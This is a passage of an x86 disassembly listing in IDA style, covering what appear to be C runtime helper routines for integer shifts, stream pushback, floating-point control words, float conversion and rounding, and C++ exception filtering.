loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
		mov	dword_4DB928, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DB9F4
		call	near ptr 29D0000h
		nop
		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB


loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx


loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax


loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax


loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh


loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax


loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8


loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4


loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2


loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1


loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h


loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1


loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------


loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h


loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax


loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4


loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8


loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h


loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h


loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2


loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4


loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------


loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx


loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]


loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8


loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]


loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208


loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]


loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------


loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx


loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2


loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------


loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx


loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------


loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h


loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------


loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------


loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx


loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax


loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------


loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D328
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D340
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------


loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx


loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]


loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8


loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------


loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]


loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------


loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h


loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DBB20
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4DBB48, eax
		add	esp, 18h
		movsx	eax, byte_4DBB22
		mov	dword_4DBB40, eax
		pop	edi
		movsx	eax, word_4DBB20
		mov	dword_4DBB44, eax
		mov	dword_4DBB4C, offset dword_4DBB24
		mov	eax, offset dword_4DBB40
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------


loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------


loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:0043CF68o
					; ___:0043D7C8o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------


loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4DBB50
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4DBB50
		jmp	short loc_42474E
; ---------------------------------------------------------------------------


loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax


loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
word_424752	dw 0C68h		; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
		inc	edi
		inc	edx
		add	[eax+37B8A3E8h], dl
		add	ah, byte ptr dword_4DBB50[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424763	db 0FFh			; DATA XREF: ___:00429040o
		dd 4DBB5035h, 91E89000h, 0C30237B8h

; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
